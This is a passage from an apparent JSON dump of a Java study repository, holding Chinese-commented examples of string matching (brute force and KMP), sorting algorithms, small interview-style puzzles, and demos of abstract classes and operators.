    "content": "package com.jun.plugin.arithmetic;\n\nimport java.util.Scanner;\n\n/**\n * @Title: PatternMatchingTest\n * @Description: 模式匹配算法\n * 来源:http://www.cnblogs.com/jiaohanhan/p/6654874.html\n * @Version:1.0.0\n * @author pancm\n * @date 2018年9月14日\n */\npublic class PatternMatchingTest {\n\n\t\n\t\n\t/**\n\t * 暴力匹配\n\t * 　时间复杂度为O(n*m)；n为主串长度，m为模式串长度\n　　\t\t算法的基本思想：\n　　　　　　从主串的起始位置（或指定位置）开始与模式串的第一个字符比较，若相等，则继续逐个比较后续字符；\n                       否则从主串的下一个字符再重新和模式串的字符比较。\n                       依次类推，直到模式串成功匹配，返回主串中第一次出现模式串字符的位置，或者模式串匹配不成功，这里约定返回-1；\n\t * @param source\n\t * @param pattern\n\t * @return\n\t */\n\tpublic static int bruteForceStringMatch(String source, String pattern) {\n\t\tint slen = source.length();\n\t\tint plen = pattern.length();\n\t\tchar[] s = source.toCharArray();\n\t\tchar[] p = pattern.toCharArray();\n\t\tint i = 0;\n\t\tint j = 0;\n\n\t\tif (slen < plen)\n\t\t\treturn -1; // 如果主串长度小于模式串，直接返回-1，匹配失败\n\t\telse {\n\t\t\twhile (i < slen && j < plen) {\n\t\t\t\tif (s[i] == p[j]) // 如果i,j位置上的字符匹配成功就继续向后匹配\n\t\t\t\t{\n\t\t\t\t\t++i;\n\t\t\t\t\t++j;\n\t\t\t\t} else {\n\t\t\t\t\ti = i - (j - 1); // i回溯到主串上一次开始匹配下一个位置的地方\n\t\t\t\t\tj = 0; // j重置，模式串从开始再次进行匹配\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (j == plen) // 匹配成功\n\t\t\t\treturn i - j;\n\t\t\telse\n\t\t\t\treturn -1; // 匹配失败\n\t\t}\n\t}\n\n\t\n\t\n\t\n\t\n\t/**\n\t * KMP算法\n\t　　KMP算法是D.E.Knuth、V.R.Pratt和J.H.Morris同时发现，所以命名为KMP算法。\n\t　　此算法可以在O(n+m)的时间数量级上完成串的模式匹配。\n\t　　主要就是改进了暴力匹配中i回溯的操作，KMP算法中当一趟匹配过程中出现字符比较不等时，\n\t不直接回溯i，而是利用已经得到的“部分匹配”的结果将模式串向右移动（j-next[k]）的距离。\n\t\n\t* @param source\n\t * @param pattern\n\t * @return\n\t */\n\tpublic static int kmpStringMatch(String source, String pattern)\n    {\n        int i = 0;\n        int j = 0;\n        char[] s = source.toCharArray();\n        char[] p = pattern.toCharArray();\n        int slen = s.length;\n        int plen = p.length;\n        int[] next = getNext(p);\n        while(i < slen && j < plen)\n        {\n            if(j == -1 || s[i] == p[j])\n            {\n                ++i;\n                ++j;\n            }\n            else\n            {\n                //如果j != -1且当前字符匹配失败，则令i不变，\n                //j = next[j],即让pattern模式串右移j - next[j]个单位\n                j = next[j];\n            }\n        }\n        \n        \n        if(j == plen)\n            return i - j;\n        else\n            return -1;\n    }\n    \n\t\n\t/**\n\t * 关于next[k]数组的计算引出的两种办法，一种是递归，一种对递归优化，第一种对应的就是KMP算法，第二种就是优化的KMP算法。\n\t\tnext函数值仅取决于模式串本身而和主串无关。\t\n\t\t有很多讲next函数值计算办法的资料，在此我想用一种直观的比较容易理解的办法来表达。\t\n\t\t举个栗子：现在有一个模式串abab\n\t\t\n\t\t    模式串的各个字串　   \t                     前缀                       \t                    后缀                    \t最大公共元素长度\n\t\ta\tnull\tnull\t0\n\t\tab\ta\tb\t0\n\t\taba\ta,ab\ta,ba\t1\n\t\tabab\ta,ab,aba\tb,ab,bab\t2\n\t * @param p\n\t * @return\n\t */\n    private static int[] getNext(char[] p)\n    {\n        /**\n         * 已知next[j] = k, 利用递归的思想求出next[j+1]的值\n         * 1.如果p[j] = p[k]，则next[j+1] = next[k] + 1;\n         * 2.如果p[j] != p[k],则令k = next[k],如果此时p[j] == p[k],则next[j+1] = k+1\n         * 如果不相等，则继续递归前缀索引，令k=next[k],继续判断，直至k=-1(即k=next[0])或者p[j]=p[k]为止\n         */\n        int plen = p.length;\n        int[] next = new int[plen];\n        int k = -1;\n        int j = 0;\n        next[0] = -1;                //这里采用-1做标识\n        while(j < plen -1)\n        {\n            if(k == -1 || p[j] == p[k])\n            {\n                ++k;\n                ++j;\n                next[j] = k;\n            }\n            else\n            {\n                k = next[k];\n            }\n        }\n        System.out.println(\"next函数值：\");\n        for(int ii = 0;ii<next.length;ii++)\n        {\n            \n            System.out.print(next[ii]+ \" \");\n        }\n        System.out.println();\n        return next;\n    }\n    \n    \n    \n    @SuppressWarnings(\"resource\")\n\tpublic static void main(String[] args) {\n        Scanner sc = new Scanner(System.in);\n        String a = sc.nextLine();\n        String b = sc.nextLine();\n        System.out.println(bruteForceStringMatch(a, b));\n        System.out.println(kmpStringMatch(a, b));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/SortTest.java",
    "content": "package com.jun.plugin.arithmetic;\n\nimport java.util.Arrays;\n\n/**\n * \n* @Title: SortTest\n* @Description: 排序算法\n* 主要包括插入、二分、冒泡和快排算法\n* @Version:1.0.0  \n* @author pancm\n* @date 2017-5-31\n */\npublic class SortTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\n\t\tint[] t={1,44,55,22,34,88,3};\n\t\tfor(int i=0,j=t.length;i<j;i++){\n\t\t\tSystem.out.println(\"排序之前:\"+t[i]);\n\t\t}\n//\t\tlong a=System.currentTimeMillis();\n//\t\tint[] k=ps(t);\n//\t\tfor(int i=0,j=k.length;i<j;i++){\n//\t\t\tSystem.out.println(\"插入排序之后:\"+k[i]);\n//\t\t}\n//\t\t\n\t\tint[] s=crps(t);\n\t\tfor(int i=0,j=s.length;i<j;i++){\n\t\t\tSystem.out.println(\"插入排序倒叙之后:\"+s[i]);\n\t\t}\n\t\t\n\t\t\n//\t\tSystem.out.println(\"\\r<br>执行耗时 : \"+(System.currentTimeMillis()-a)+\"毫秒 \");\n//\t    int[] p=sort(t);\n//\t    for(int i=0,j=p.length;i<j;i++){\n//\t\t\tSystem.out.println(\"二分法排序之后:\"+p[i]);\n//\t\t}\n//\t    \n//\t\tint[] l=mp(t);\n//\t\tfor(int i=0,j=l.length;i<j;i++){\n//\t\t\tSystem.out.println(\"冒泡排序之后:\"+l[i]);\n//\t\t}\n//\t\t\n\t\tint[] mpdx=mpdx(t);\n\t\tfor(int i=0,j=mpdx.length;i<j;i++){\n\t\t\tSystem.out.println(\"冒泡排序倒叙之后:\"+mpdx[i]);\n\t\t}\n\t\t\n\t\t for (int i = 0; i < t.length; i++) {\n\t         System.out.print(t[i]+\" \");\n\t     }\n\t     //快速排序\n\t     quick(t);\n\t     System.out.println();\n\t     System.out.println(\"快速排序之后：\");\n\t     for (int i = 0; i < t.length; i++) {\n\t         System.out.print(t[i]+\" \");\n\t     }\n\t     \n\t\tArrays.sort(t);\n//\t\tfor(int i:t){\n//\t\t\tSystem.out.println(\"快速排序之升序:\"+i);\n//\t\t}\n//\t    for(int j=t.length-1;0<=j;j--){ \n//\t    \tSystem.out.println(\"快速排序之降序:\"+t[j]);\n//\t    }\n//\t    System.out.println(\"\\r<br>执行耗时 : \"+(System.currentTimeMillis()-a)+\"毫秒 \");\n\t}\n\n\t/**\n\t * 插入排序  升序\n\t * 插入排序是循环数组，然后将前一位的数字和后一位的进行比较，将数值大的向后移一位\n\t * @param a\n\t * @return\n\t */\n\tpublic static int[] ps(int[] a){\n\t\tfor(int i=1,j=a.length;i<j;i++){\n\t\t\t int t=a[i];\n\t\t\t int k;\n\t\t\t for(k=i-1;k>=0;k--){\n\t\t\t\t if(a[k]>t){\n\t\t\t\t\ta[k+1]=a[k]; \n\t\t\t\t }else{\n\t\t\t\t\t break;\n\t\t\t\t }\t\t\t\t \n\t\t\t }\n\t\t\ta[k+1]=t;\n\t\t}\n\t\treturn a; \n\t}\n   \n\t/**\n\t * 插入排序  降序\n\t * 插入排序是循环数组，然后将前一位的数字和后一位的进行比较，将数值大的向后移一位\n\t * @param a\n\t * @return\n\t */\n\tpublic static int[] crps(int[] a){\n\t\tfor(int i=1,j=a.length;i<j;i++){\n\t\t\t int t=a[i];\n\t\t\t int k;\n\t\t\t for(k=i-1;k>=0;k--){\n\t\t\t\t if(a[k]<t){\n\t\t\t\t\ta[k+1]=a[k]; \n\t\t\t\t }else{\n\t\t\t\t\t break;\n\t\t\t\t }\t\t\t\t \n\t\t\t }\n\t\t\ta[k+1]=t;\n\t\t}\n\t\treturn a; \n\t}\n\t\n\t\n\t/**\n\t * 冒泡排序 升序\n\t * 冒泡排序 是双重循环数组，前一位和后一位进行比较，若前一位大于后一位，就交换位置\n\t */\n\tpublic static int[] mp(int[] m){\n\t\tfor(int i=0;i<m.length-1;i++){\n\t\t\tfor(int j=i+1;j<m.length;j++){\n\t\t\t\tif(m[i]>m[j]){\n\t\t\t\t\tint tmp=m[i];\n\t\t\t\t\tm[i]=m[j];\n\t\t\t\t\tm[j]=tmp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn m;\t\n\t}\n\t\n\t/**\n\t * 冒泡排序 倒序\n\t * 冒泡排序 是双重循环数组，前一位和后一位进行比较，若前一位大于后一位，就交换位置\n\t */\n\tpublic static int[] mpdx(int[] a){\n\t\tfor(int i=0;i<a.length-1;i++){\n\t\t\tfor(int j=i+1;j<a.length;j++){\n\t\t\t\tif(a[i]<a[j]){\n\t\t\t\t\tint tmp=a[i];\n\t\t\t\t\ta[i]=a[j];\n\t\t\t\t\ta[j]=tmp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn a;\t\n\t}\n\t\n\t/**\n\t * 二分法排序  升序\n\t * @param a\n\t * @return\n\t */\n\tpublic static int[] sort(int[] a) {\n\t\tfor (int i = 0; i < a.length; i++) {\n\t\t  int temp = a[i];\n\t\t  int left = 0;\n\t\t  int right = i-1;\n\t      int mid = 0;\n          while(left<=right){\n\t\t    mid = (left+right)/2;\n\t     \t if(temp<a[mid]){\n\t\t        right = mid-1;\n              }else{\n                  left = mid+1;\n              }\n          }\n\t      for (int j = i-1; j >= left; j--) {\n\t            a[j+1] = a[j];\n\t       }\n\t      if(left != i){\n\t            a[left] = temp;\n\t       }\n\t    }\n\t\treturn a;\n   }\n\t\t\t\n /**\n  * 快速排序\n  * @param a\n  */\n private static void quick(int[] a) {\n     if(a.length>0){\n         quickSort(a,0,a.length-1);\n     }\n }\n\n private static void quickSort(int[] a, int low, int high) {\n     if(low<high){ //如果不加这个判断递归会无法退出导致堆栈溢出异常\n         int middle = getMiddle(a,low,high);\n         quickSort(a, 0, middle-1);\n         quickSort(a, middle+1, high);\n     }\n }\n\n private static int getMiddle(int[] a, int low, int high) {\n     int temp = a[low];//基准元素\n     while(low<high){\n         //找到比基准元素小的元素位置\n         while(low<high && a[high]>=temp){\n             high--;\n         }\n         a[low] = a[high]; \n         while(low<high && a[low]<=temp){\n             low++;\n         }\n         a[high] = a[low];\n     }\n     a[low] = temp;\n     return low;\n }\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/StockTest.java",
    "content": "package com.jun.plugin.arithmetic;\n\n/**\n* @Title: StockTest\n* @Description: 一些常用的算法技巧\n* 参考文章:https://www.cnblogs.com/kubidemanong/p/9887669.html\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年11月2日\n*/\npublic class StockTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\t\n\t\t\t//乱序改有序\n\t\t\ttest1();\n\t\t\t//利用取余方式防止数组下标越界\n\t\t\ttest2();\n\t\t\t//对于可以递归的问题考虑状态保存\n\t\t\ttest3();\n\t\t\t\n\t\t\ttest4();\n\t}\n\n\t/**\n\t *创建 n个无序的int整型数组arr，并且这些整数的取值范围都在1-5之间，\n\t * 使用 O(n) 的时间复杂度中把这 n 个数按照从小到大的顺序打印出来。\n\t */\n\tprivate static void test1() {\n\t\tSystem.out.println(\"----------\");\n\t\tint arr[]= {2,3,5,4,1};\n\t\t int temp[] = new int[6];\n\t       for (int i = 0; i < arr.length; i++) {\n\t           temp[arr[i]]++;\n\t       }\n\t       //顺序打印\n\t       for (int i = 0; i < 6; i++) {\n\t           for (int j = 0; j < temp[i]; j++) {\n\t               System.out.println(i);\n\t           }\n\t       }\n\t       System.out.println(\"----------\");\n\t}\n\n\t/**\n\t * 利用取余方式防止数组下标越界\n\t */\n\tprivate static void test2() {\n\t\tSystem.out.println(\"----------\");\n\t\tint arr[]= {2,3,5,4,1};\n\t\tint k= 0;\n\t\tint m=5;\n\t\t//传统方式\n\t\tfor(int i=0;i<m;i++) {\n\t\t\tif(k<m) {\n\t\t\t\t//使用数组\n\t\t\t\tSystem.out.println(arr[k]);\n\t\t\t}else {\n\t\t\t\t//置为0再使用数组\n\t\t\t\tk=0;\n\t\t\t}\n\t\t\tk++;\n\t\t}\n\t\tSystem.out.println(\"---\");\n\t\t//利用取模方式\n\t\tfor(int i=0;i<m;i++) {\n\t\t\t  //需要注意的是 k<m\n\t\t\t  k = (k + 1) % m;\n\t\t\t  System.out.println(arr[k]);\n\t\t}\n\t\tSystem.out.println(\"----------\");\n\t}\n\n\t/**\n\t * 一只青蛙一次可以跳上1级台阶，也可以跳上2级。\n\t *  求该青蛙跳上一个n级的台阶总共有多少种跳法\n\t */\n\tprivate static void test3() {\n\t\tSystem.out.println(\"----------\");\n\t\tint n = 10;\n\t\t//方法一：最简单递归\n\t\tSystem.out.println(f(n));\n\t\tSystem.out.println(\"----\");\n\t\t//方法二：状态保存\n\t\tint[] arr = new int[1000];\n\t\tSystem.out.println(f2(n,arr));\n\t\tSystem.out.println(\"----\");\n\t\t//方法三：自底向上\n\t\tSystem.out.println(f3(n));\n\t\tSystem.out.println(\"----\");\n\t\tSystem.out.println(\"----------\");\n\t\t\n\t\t/*\n\t\t * 总结\n\t\t当你在使用递归解决问题的时候，要考虑以下两个问题\n\t\t(1). 是否有状态重复计算的，可不可以使用备忘录法来优化。\n\t\t(2). 是否可以采取递推的方法来自底向上做，减少一味递归的开销。\n\t\t\t\t \n\t\t */\n\t}\n\t\n\t/**\n\t * @param n\n\t * @return\n\t */\n\tprivate static int f3(int n) {\n\t\t if(n <= 2) {\n\t\t\t return n;\n\t\t }\n\t       int f1 = 1;\n\t       int f2 = 2;\n\t       int sum = 0;\n\t       for (int i = 3; i <= n; i++) {\n\t           sum = f1 + f2;\n\t           f1 = f2;\n\t           f2 = sum;\n\t       }\n\t       return sum;\n\t}\n\n\tprivate static int f(int n) {\n\t       if (n <= 2) {\n\t           return n;\n\t       } else {\n\t           return f(n - 1) + f(n - 2);\n\t       }\n\t   }\n\t\n\tprivate static  int f2(int n,int[] arr ) {\n\t       if (n <= 2) {\n\t           return n;\n\t       } else {\n\t           if (arr[n] != 0) {\n\t               return arr[n];//已经计算过，直接返回\n\t           } else {\n\t               arr[n] = f(n-1) + f(n-2);\n\t               return arr[n];\n\t           }\n\t       }\n\t   }\n\t\n\t/**\n\t * \n\t */\n\tprivate static void test4() {\n\t\t// TODO Auto-generated method stub\n\t\t\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/jzoffer/DuplicateNumberInArray.java",
    "content": "package com.jun.plugin.arithmetic.jzoffer;\n\n/**\n * https://www.nowcoder.com/practice/623a5ac0ea5b4e5f95552655361ae0a8?tpId=13&tqId=11203&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking\n *\n * @description:\n * 3.数组中的重复数字\n * 在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。\n * 数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。\n * 请找出数组中任意一个重复的数字。\n *\n * @author: Zhoust\n * @date: 2019/04/28 10:58\n * @version: V1.0\n */\npublic class DuplicateNumberInArray {\n\n    /**\n     * 一种简单的实现思路，借助外部数组保存 numbers 中每个值的出现次数，即 numbers 中的值作为数组 array 的下标。\n     * 题目中说了长度为 n 的数组中每个值都在 0 到 n-1 范围内，因此遍历数组 numbers 存入对应的 array 不会出现数组下标越界的问题\n     * @param numbers\n     * @param length        numbers 数组的长度\n     * @param duplication   (Output) the duplicated number in the array number,length of duplication array is 1,so using duplication[0] = ? in implementation;\n     *                      这里要特别注意~返回任意重复的一个，赋值duplication[0]\n     * @return              true if the input is valid, and there are some duplications in the array number, otherwise false\n     */\n    public boolean duplicate(int[] numbers, int length, int[] duplication) {\n        if (numbers == null) {\n            return false;\n        }\n        boolean result = false;\n        int[] array = new int[length];\n        for (int i = 0; i < length; i++) {\n            if (++array[numbers[i]] > 1 && !result) {\n                result = true;\n                duplication[0] = numbers[i];\n            }\n        }\n        return result;\n    }\n\n    /**\n     * 先排序，然后找到排序后数组中第一个重复的数字（主要就是练习一下快排）\n     * @param numbers\n     * @param length\n     * @param duplication\n     * @return\n     */\n    public boolean sortThenFindFirstDuplicateNumber(int[] numbers, int length, int[] duplication) {\n        if (numbers == null) {\n            return false;\n        }\n        quickSort(numbers, 0, length-1);\n        int temp = numbers[0];\n        boolean result = false;\n\n        for (int i = 1; i < length; i++) {\n            if (numbers[i] == temp) {\n                result = true;\n                duplication[0] = temp;\n                break;\n            }\n            temp = numbers[i];\n        }\n        return result;\n    }\n\n    /**\n     * 将值为 i 的元素调整到下标为 i 的位置，如果该位置上的数已经等于 i 了，就说明 i 已经重复了\n     * @param numbers\n     * @param length\n     * @param duplication\n     * @return\n     */\n    public static boolean jz(int[] numbers, int length, int[] duplication) {\n        for (int i = 0; i < length; i++) {\n            //第 i 个位置上的数 numbers[i] 若不与下标 i 相等，就把 numbers[i] 放到下标为 numbers[i] 的位置\n            while (numbers[i] != i) {\n                //在交换位置之前还要检查 numbers[i] 位置上的数字是否已经是 numbers[i]，如果是就已经找到了重复的数字\n                if (numbers[numbers[i]] == numbers[i]) {\n                    duplication[0] = numbers[i];\n                    //注意这里不是 break\n                    return true;\n                }\n\n                //交换下标为 i、numbers[i] 两个位置上的数字（保证下标为 numbers[i] 的位置，放置的数字是 numbers[i]）\n                swap(numbers, i, numbers[i]);\n            }\n        }\n        return false;\n    }\n\n    /**\n     * 交换下标为 i、j 的两个数\n     * @param numbers\n     * @param i\n     * @param j\n     */\n    public static void swap(int[] numbers, int i, int j) {\n        int swap = numbers[i];\n        numbers[i] = numbers[j];\n        numbers[j] = swap;\n    }\n\n    /**\n     * 快排\n     * @param array\n     * @param length\n     */\n    @SuppressWarnings(\"all\")\n    public static void quickSort(int[] array, int low, int high) {\n        //这里必须首先限制 low<high，否则会出现 ArrayIndexOutOfBoundsException，当\n        if (low < high) {\n            int temp = array[low];\n            int l = low, h = high;\n            while (l != h) {\n                while (array[h] > temp && h > l) {\n                    h--;\n                }\n                array[l] = array[h];\n                while (array[l] <= temp && l < h) {\n                    l++;\n                }\n                array[h] = array[l];\n            }\n            array[l] = temp;\n            quickSort(array, low, h-1);\n            quickSort(array, l+1, high);\n        }\n    }\n\n    public static void main(String[] args) {\n        int[] result = new int[1];\n        jz(new int[]{2,4,2,1,4}, 5, result);\n        System.out.println(result[0]);\n//        int[] d = new int[1];\n//        jz(new int[]{2,1,3,0,4}, 5, d);\n//        int[] array = new int[]{1,4,4,4,12,78,8,45,67,39,20,90,65,34,34,6,7,88,9,1,-3,-88,-2};\n        int[] array = new int[]{2,4,3,1,4};\n        quickSort(array, 0, array.length-1);\n        for (int i = 0; i < array.length; i++) {\n            System.out.println(array[i]);\n        }\n\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/jzoffer/package-info.java",
    "content": "/**\n * @description: 剑指 Offer 中的题目\n * @author: Zhoust\n * @date: 2019/04/28 10:57\n * @version: V1.0\n */\npackage com.jun.plugin.arithmetic.jzoffer;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/arithmetic/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 算法相关类\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年9月14日\n*/\npackage com.jun.plugin.arithmetic;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/AbstractTest.java",
    "content": "package com.jun.plugin.basics;\n\n/**\n * @author pancm\n * @Data 2017-6-1 \n * @Description abstract 抽象类测试\n */\npublic class AbstractTest {\n\tpublic static void main(String[] args) {\n\t\t// 这句会报错，因为抽象类不能实例化\n\t\t// Animal a=new Animal();\n\t\tAnimal a = new Dog();\n\t\ta.show();\n\n\t\tE p = new F();\n\t\tp.show();\n\t\tE q = new G();\n\t\tq.show();\n\n\t\t/*\n\t\t * \n\t\t * 1、抽象类和抽象方法都需要被abstract修饰。抽象方法一定要定义在抽象类中。\n\t\t * \n\t\t * 2、抽象类不可以创建实例，原因：调用抽象方法没有意义。\n\t\t * \n\t\t * 3、只有覆盖了抽象类中所有的抽象方法后，其子类才可以实例化。否则该子类还是一个抽象类。\n\t\t * \n\t\t * 之所以继承，更多的是在思想，是面对共性类型操作会更简单。\n\t\t * \n\t\t */\n\t}\n}\n\nabstract class Animal {\n\tabstract void show();\n\n\tpublic void print() {\n\t\tSystem.out.println(\"Animal\");\n\t}\n}\n\nclass Dog extends Animal {\n\t@Override\n\tvoid show() {\n\t\tSystem.out.println(\"This is Dog!\");\n\t}\n}\n\nabstract class E {\n\tpublic abstract void show();\n}\n\nclass F extends E {\n\tpublic void show() {\n\t\tSystem.out.print(\"test all FFFF \\n\");\n\t}\n}\n\nclass G extends E {\n\tpublic void show() {\n\t\tSystem.out.print(\"test all GGGG \\n\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/CalculateTest.java",
    "content": "package com.jun.plugin.basics;\n\nimport java.math.BigInteger;\n\n/**\n * @Title: CalculateTest\n * @Description: 运算符相关类\n * @Version:1.0.0\n * @author pancm\n * @date 2018年10月18日\n */\npublic class CalculateTest {\n\t\n\tpublic static void main(String[] args) {\n\t\t//自增运算符测试\n\t\ttest1();\n\t\t//运算符优先级测试\n\t\ttest2();\n\t\t//位运算符\n\t\ttest3();\n\t\t//赋值运算符\n\t\ttest4();\n\t}\n\n\tprivate static void test4() {\n\t\tint a = 4;\n\t\ta *= 5; \n\t\tint b = 6;\n\t\tb %=3;\n\t\tint c = 9;\n\t\tc |= a;\n\t\tint d = 8;\n\t\td <<=2;\n\t\tint e = 17;\n\t\te &=9;\n\t\tint f = 16;\n\t\tf ^=2;\n\t\tSystem.out.println(\"赋值运算符测试开始\");\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);\n\t\tSystem.out.println(c);\n\t\tSystem.out.println(d);\n\t\tSystem.out.println(e);\n\t\tSystem.out.println(f);\n\t\tSystem.out.println(\"赋值运算符测试结束\");\n\t\t\n\t\t\n\t\t\n\t\t/*\n\t\t \n\t\t 操作符\t描述\t例子\n\t\t=\t简单的赋值运算符，将右操作数的值赋给左侧操作数\tC = A + B将把A + B得到的值赋给C\n\t\t+ =\t加和赋值操作符，它把左操作数和右操作数相加赋值给左操作数\tC + = A等价于C = C + A\n\t\t- =\t减和赋值操作符，它把左操作数和右操作数相减赋值给左操作数\tC - = A等价于C = C -\n\t\t A\n\t\t* =\t乘和赋值操作符，它把左操作数和右操作数相乘赋值给左操作数\tC * = A等价于C = C * A\n\t\t/ =\t除和赋值操作符，它把左操作数和右操作数相除赋值给左操作数\tC / = A等价于C = C / A\n\t\t（％）=\t取模和赋值操作符，它把左操作数和右操作数取模后赋值给左操作数\tC％= A等价于C = C％A\n\t\t<< =\t左移位赋值运算符\tC << = 2等价于C = C << 2\n\t\t>> =\t右移位赋值运算符\tC >> = 2等价于C = C >> 2\n\t\t＆=\t按位与赋值运算符\tC＆= 2等价于C = C＆2\n\t\t^ =\t按位异或赋值操作符\tC ^ = 2等价于C = C ^ 2\n\t\t| =\t按位或赋值操作符\tC | = 2等价于C = C | 2\n\t\t \n\t\t */\n\t}\n\n\tprivate static void test3() {\n\t\tint a = 64>>>2;\n\t\tint b = 2<<2;\n\t\tint c = a&b;\n\t\tint d = b|c;\n\t\tint e = ~a;\n\t\tint f = 60^13;\n\t\tSystem.out.println(\"位运算符测试开始\");\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);\n\t\tSystem.out.println(c);\n\t\tSystem.out.println(d);\n\t\tSystem.out.println(e);\n\t\tSystem.out.println(f);\n\t\tSystem.out.println(\"位运算符测试结束\");\n\t\t\n\t\t/*\n\t\t * \n\t\t 十进制\n\t\t A = 60，B = 13\n\t\t 二进制\n\t\t A = 0011 1100\n\t\t B = 0000 1101\n\t\t \n\t\t操作符\t描述\t例子\n\t\t＆\t如果相对应位都是1，则结果为1，否则为0\t（A＆B），得到12，即0000 1100\n\t\t|\t如果相对应位都是0，则结果为0，否则为1\t（A | B）得到61，即 0011 1101\n\t\t^\t如果相对应位值相同，则结果为0，否则为1\t（A ^ B）得到49，即 0011 0001\n\t\t〜\t按位取反运算符翻转操作数的每一位，即0变成1，1变成0。\t（〜A）得到-61，即1100 0011\n\t\t<< \t按位左移运算符。左操作数按位左移右操作数指定的位数。\tA << 2得到240，即 1111 0000\n\t\t>> \t按位右移运算符。左操作数按位右移右操作数指定的位数。\tA >> 2得到15即 1111\n\t\t>>> 按位右移补零操作符。左操作数的值按右操作数指定的位数右移，移动得到的空位以零填充。\tA>>>2得到15即0000 1111\n\t\t */\n\t\t\n\t}\n\t\n\t//运算符优先级测试\n\tprivate static void test2() {\n\t\tint a = 2+3*4/2 + (5+4)*2;\n\t\tint b = 2>>3+4/2-1;\n\t\tint c = a++*3-b--;\n\t\tint d = (a>c?4:5) + 4%2 << 3;\n\t\tSystem.out.println(\"运算符优先级测试开始\");\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);\n\t\tSystem.out.println(c);\n\t\tSystem.out.println(d);\n\t\tSystem.out.println(\"运算符优先级测试结束\");\n\t\t/*\n\t\t * 最高优先级的运算符在的表的最上面，最低优先级的在表的底部。\n\t\t 类别\t操作符\t关联性\n\t\t后缀\t() [] . (点操作符)\t左到右\n\t\t一元\t+ + - ！〜\t从右到左\n\t\t乘性 \t* /％\t左到右\n\t\t加性 \t+ -\t左到右\n\t\t移位 \t>> >>>  << \t左到右\n\t\t关系 \t>> = << = \t左到右\n\t\t相等 \t==  !=\t左到右\n\t\t按位与\t＆\t左到右\n\t\t按位异或\t^\t左到右\n\t\t按位或\t|\t左到右\n\t\t逻辑与\t&&\t左到右\n\t\t逻辑或\t| |\t左到右\n\t\t条件\t？：\t从右到左\n\t\t赋值\t= + = - = * = / =％= >> = << =＆= ^ = | =\t从右到左\n\t\t逗号\t，\t左到右\n\t\t */\n\t\t\n\t}\n\n\tprivate static void test1() {\n\t\t int a=1,z=1;\n\t\t int b = a++;\n\t\t int c = ++a;\n\t\t int x = 2*++a;\n\t     int y = 2*b++;\n\t\tSystem.out.println(\"自增运算符测试开始\");\n\t\tSystem.out.println(a);\n\t\tSystem.out.println(b);\n\t\tSystem.out.println(c);\n\t\tSystem.out.println(z++);\n\t\tSystem.out.println(++z);\n\t\tSystem.out.println(x);\n\t\tSystem.out.println(y);\n\t\tSystem.out.println(\"自增加运算符测试结束\");\n\n\t}\n\n\t\n\t\n\t\n\tprivate static void test10() {\n\t\tint i = 16;\n\t\t// 16转换的二进制数据\n\t\tint j = 10000;\n\t\t// 8转换的二进制数据\n\t\tint k = 1000;\n\t\t// 4转换的二进制数据\n\t\tint m = 100;\n\t\t// 32转换的二进制数据\n\t\tint n = 100000;\n\t\tSystem.out.println(\"--\" + (j & i));\n\t\tSystem.out.println(\"--\" + (k & i));\n\t\tSystem.out.println(\"--\" + (m & i));\n\t\tSystem.out.println(\"--\" + (n & i));\n\t\tSystem.out.println(\"--\" + decimal2Binary(i));\n\t\tSystem.out.println(\"--\" + biannary2Decimal(n));\n\t\t//十进制转二进制\n\t\tSystem.out.println(\"--\" + Integer.toBinaryString(i));\n\t    /*\n\t     *  1. BigInteger的构造函数 \n\t\t    BigInteger(String src)默认参数字符串为10进制数值 \n\t\t    BigInteger(String src, int x)第2个参数x是指定第一个参数src的进制类型 \n\t\t    2. toString方法 \n\t\t    toString()默认把数值按10进制数值转化为字符串。 \n\t\t    toString(int x)把数值按参数x的进制转化为字符串\n\t     */\n\t\tSystem.out.println(\"--\" + new BigInteger(String.valueOf(i)).toString(2));\n\t\t//二进制转十进制\n\t\tSystem.out.println(\"--\" + new BigInteger(String.valueOf(j),2).toString());\n\t}\n\t\n\t/**\n\t * 十进制转二进制\n\t */\n\tpublic static String decimal2Binary(int de) {\n\t\tString numstr = \"\";\n\t\twhile (de > 0) {\n\t\t\tint res = de % 2; // 除2 取余数作为二进制数\n\t\t\tnumstr = res + numstr;\n\t\t\tde = de / 2;\n\t\t}\n\t\treturn numstr;\n\t}\n\n\t/**\n\t * 将二进制转换为10进制\n\t * @param bi ：待转换的二进制\n\t * @return\n\t */\n\tpublic static Integer biannary2Decimal(int bi) {\n\t\tString binStr = bi + \"\";\n\t\tInteger sum = 0;\n\t\tint len = binStr.length();\n\t\tfor (int i = 1; i <= len; i++) {\n\t\t\t// 第i位 的数字为：\n\t\t\tint dt = Integer.parseInt(binStr.substring(i - 1, i));\n\t\t\tsum += (int) Math.pow(2, len - i) * dt;\n\t\t}\n\t\treturn sum;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/basics/CloneTest.java",
